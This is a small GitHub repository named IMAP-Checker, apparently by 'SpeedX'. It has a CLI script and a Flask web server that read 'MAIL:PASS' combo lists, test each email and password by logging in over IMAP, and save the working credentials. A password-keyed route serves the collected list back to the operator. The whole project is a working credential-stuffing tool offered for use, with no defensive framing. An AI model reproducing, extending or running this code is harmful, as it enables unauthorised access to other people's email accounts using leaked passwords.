├── LICENSE ├── README.md ├── checker.py ├── firebase.db ├── requirements.txt └── server.py /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 SpeedX 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # IMAP-Checker 2 | A Web API To Check Valid Mail Accounts 3 | 4 | ## Description 5 | This is a Web API that Checks Valid Mail and Password by IMAP. 6 | There is also a CLI Version of it. 7 | 8 | ### Installing 9 | 10 | ``` 11 | git clone https://github.com/TheSpeedX/IMAP-Checker.git 12 | python3 -m pip install requirements.txt 13 | ``` 14 | 15 | ### Starting Server 16 | 17 | Start Server: 18 | ```python3 server.py``` 19 | 20 | Now To check send JSON data POST Request to: ```http://yourdomain.com/check``` 21 |
22 | The JSON data format: ```{"email":"mail@domain.com","password":"mypassword"}``` 23 | 24 | ### Starting Command Line Version 25 | 26 | Start CLI: 27 | ```python3 checker.py -i inputfile``` 28 | 29 | ### TODO 30 | [ ] Add MultiThreading
31 | [ ] Auto Search IMAP for Unknown Domains
32 | 33 | 34 | #### Credits 35 | Made With ❤ By SpeedX 36 | -------------------------------------------------------------------------------- /checker.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import os 3 | import sys 4 | from server import * 5 | import re 6 | 7 | parser = argparse.ArgumentParser(description="Command Line Version of IMAP Checker") 8 | 9 | parser.add_argument('-i','--input', action='store', dest='input_file',help='File path containing the MAIL:PASS Combo') 10 | parser.add_argument('-o','--output', action='store', dest='output_file',help='Writes success hits to file') 11 | parser.add_argument('-v','--version', action='version', version='IMAP_Checker '+VERSION,help='Shows the Mail Checker version') 12 | 13 | results = parser.parse_args() 14 | input_file=results.input_file 15 | output_file=results.output_file if results.output_file else "success.txt" 16 | if os.path.isfile(input_file): 17 | print("[+]\tLoading "+input_file+" ...") 18 | input_stream = open(input_file, 'r') 19 | text = input_stream.read() 20 | input_stream.close() 21 | matches = re.findall(r"([a-z0-9]*@[a-z0-9]*\.[a-z]*):(.*)", text) 22 | else: 23 | print("[-]\t"+input_file+" Not Found !!!") 24 | sys.exit() 25 | print("[*]\t"+input_file+" Loaded !!!") 26 | print("[+]\tStarting Scan...") 27 | for mail,passw in matches: 28 | print("Trying: "+mail+":"+passw) 29 | server,port=search_server(mail.split('@')[1]) 30 | if server and port: 31 | if imapCheck(mail,passw,server,port): 32 | f=open(output_file,'a') 33 | f.write(mail+":"+passw+"\n") 34 | f.close() 35 | print("\t[$]\t"+mail+":"+passw) 36 | else: 37 | print("[X]\t"+mail+":"+passw) 38 | else: 39 | print("[X] Bad Request") -------------------------------------------------------------------------------- /firebase.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/TheSpeedX/IMAP-Checker/5ad38bec73cc1c49da57c99c3216a7021ce06cbf/firebase.db -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | Flask>=1.1.1 -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | import imaplib 2 | 3 | from flask import Flask , request 4 | import json 5 | from time import * 6 | import sqlite3 7 | from sqlite3 import Error 8 | import re 9 | 10 | app = Flask(__name__) 11 | PASSWORD="5tr0ng_P@ssW0rD" 12 | database = "firebase.db" 13 | VERSION='v2.0' 14 | SAVEFILE='success.txt' 15 | 16 | def create_connection(db_file): 17 | conn = None 18 | try: 19 | conn = sqlite3.connect(db_file) 20 | except Error as e: 21 | print(e) 22 | return conn 23 | 24 | def fetch_by_hostname(conn,hostname): 25 | cur = conn.cursor() 26 | cur.execute("SELECT imap,port FROM servers WHERE hostname = ?", (hostname,)) 27 | data=cur.fetchall() 28 | if len(data)>0: 29 | return (data[0][0],data[0][1]) 30 | else: 31 | return (None,None) 32 | 33 | @app.route('/') 34 | def index(): 35 | return """ 36 | IMAP Checker By X 37 | 53 | 54 |

This is a simple IMAP Checker By SpeedX """+VERSION+"""

""" 55 | 56 | @app.route('/fetch/'+PASSWORD) 57 | def fetch(): 58 | f=open(SAVEFILE).read().split('\n') 59 | f="
".join(f) 60 | return """ 61 | IMAP Checker By X 62 |

Valid Mails List

"""+f+"""

""" 63 | return 64 | 65 | @app.route('/clear/'+PASSWORD) 66 | def clear(): 67 | f=open(SAVEFILE,'w') 68 | f.write('') 69 | f.close() 70 | 71 | return """ 72 | IMAP Checker By X 73 | 89 | 90 |

Saved Mail List Data Was Cleared !!!

""" 91 | 92 | @app.route('/check', methods=['POST']) 93 | def create(): 94 | data=request.get_json() 95 | print(data) 96 | mail=data['email'] 97 | passw=data['password'] 98 | server,port=search_server(mail.split('@')[1]) 99 | if server and port: 100 | if imapCheck(mail,passw,server,port): 101 | f=open(SAVEFILE,'a') 102 | f.write(mail+":"+passw+"\n") 103 | f.close() 104 | d={"code":200,"message":"Success"} 105 | return json.dumps(d) 106 | else: 107 | d={"code":403,"message":"Failed"} 108 | return json.dumps(d) 109 | else: 110 | d={"code":401,"message":"Bad Request"} 111 | return json.dumps(d) 112 | 113 | @app.errorhandler(404) 114 | def not_found(e): 115 | return """ 116 | 117 | 118 | 119 | Page Not Found 120 | 141 | 142 | 143 | 159 | 160 | 161 |
162 | 163 |

164 |

Oops! Looks like you came the wrong way !!!


165 |

166 | Click Here To go to the Home Page 167 |

168 |
169 | 170 | 171 | """ 172 | 173 | def imapCheck(email, password, imapServerName, port): 174 | try: 175 | #print('Trying %s' % password) 176 | M = imaplib.IMAP4_SSL(imapServerName,int(port)) 177 | M.login(email, password) 178 | #print('Success! %s' % password) 179 | return True 180 | except Exception as exception: 181 | #print(exception) 182 | return False 183 | 184 | def search_server(domain): 185 | domain=domain.lower() 186 | if domain=="" and re.compile(r"[a-z0-9]*.[a-z]*").search(domain) != None: 187 | return (None,None) 188 | conn=create_connection(database) 189 | resp=fetch_by_hostname(conn,domain) 190 | return resp 191 | 192 | if __name__=='__main__': 193 | app.run() 194 | 195 | --------------------------------------------------------------------------------